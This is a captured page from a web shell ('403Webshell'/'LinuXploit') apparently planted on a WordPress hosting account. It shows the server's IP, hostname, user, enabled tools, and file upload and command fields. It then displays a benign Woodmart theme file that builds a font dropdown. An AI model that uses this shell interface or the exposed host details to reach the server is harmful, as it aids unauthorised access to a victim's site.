403Webshell
Server IP : 162.0.217.223  /  Your IP : 216.73.216.168
Web Server : LiteSpeed
System : Linux premium269.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : mypckeys ( 1539)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/mypckeys/www/wp-content/themes/woodmart/inc/integrations/visual-composer/fields/new/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mypckeys/www/wp-content/themes/woodmart/inc/integrations/visual-composer/fields/new/fonts.php
<?php
/**
 * This file has function for rendering dropdown field.
 *
 * @package Woodmart.
 */

use XTS\Admin\Modules\Options\Google_Fonts;

if ( ! defined( 'WOODMART_THEME_DIR' ) ) {
	exit( 'No direct script access allowed' );
}

if ( ! function_exists( 'woodmart_get_fonts_param' ) ) {
	/**
	 * This function rendering dropdown field.
	 *
	 * @param array  $settings Settings.
	 * @param string $value    Value.
	 *
	 * @return false|string
	 */
	function woodmart_get_fonts_param( $settings, $value ) {
		$settings['style']         = 'select';
		$settings['devices']       = array(
			'desktop' => array(
				'value' => '',
			),
		);
		$settings['value']         = array(
			esc_html__( 'Default', 'woodmart' ) => '',
		);
		$settings['options_group'] = array();

		// From theme settings.
		$secondary_font = woodmart_get_opt( 'secondary-font' );
		$primary_font   = woodmart_get_opt( 'primary-font' );

		if ( isset( $secondary_font[0] ) ) {
			$secondary_font_title = isset( $secondary_font[0]['font-family'] ) ? esc_html__( 'Secondary font', 'woodmart' ) . ' (' . $secondary_font[0]['font-family'] . ')' : esc_html__( 'Secondary font', 'woodmart' );

			$settings['options_group'][ esc_html__( 'Theme fonts', 'woodmart' ) ][ $secondary_font_title ] = $secondary_font[0]['font-family'];
		}

		if ( isset( $primary_font[0] ) ) {
			$primary_font_title = isset( $primary_font[0]['font-family'] ) ? esc_html__( 'Title font', 'woodmart' ) . ' (' . $primary_font[0]['font-family'] . ')' : esc_html__( 'Title', 'woodmart' );

			$settings['options_group'][ esc_html__( 'Theme fonts', 'woodmart' ) ][ $primary_font_title ] = $primary_font[0]['font-family'];
		}

		// Custom fonts.
		$custom_fonts_data = woodmart_get_opt( 'multi_custom_fonts' );

		if ( isset( $custom_fonts_data['{{index}}'] ) ) {
			unset( $custom_fonts_data['{{index}}'] );
		}

		if ( is_array( $custom_fonts_data ) ) {
			foreach ( $custom_fonts_data as $font ) {
				if ( ! $font['font-name'] ) {
					continue;
				}

				$settings['options_group'][ esc_html__( 'Custom fonts', 'woodmart' ) ][ $font['font-name'] ] = $font['font-name'];
			}
		}

		// System fonts.
		$system_fonts = woodmart_get_config( 'standard-fonts' );

		foreach ( $system_fonts as $font => $title ) {
			$settings['options_group'][ esc_html__( 'System fonts', 'woodmart' ) ][ $title ] = $font;
		}

		// Typekit fonts.
		$typekit_fonts = woodmart_get_opt( 'typekit_fonts' );

		if ( $typekit_fonts ) {
			$typekit = explode( ',', $typekit_fonts );
			foreach ( $typekit as $font ) {
				$settings['options_group'][ esc_html__( 'Adobe fonts', 'woodmart' ) ][ ucfirst( trim( $font ) ) ] = trim( $font );
			}
		}

		// Google fonts.
		$google_fonts = Google_Fonts::$all_google_fonts;

		if ( $google_fonts ) {
			foreach ( $google_fonts as $font => $data ) {
				$settings['options_group'][ esc_html__( 'Google fonts', 'woodmart' ) ][ ucfirst( trim( $font ) ) ] = trim( $font );
			}
		}

		return woodmart_get_select_param( $settings, $value );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit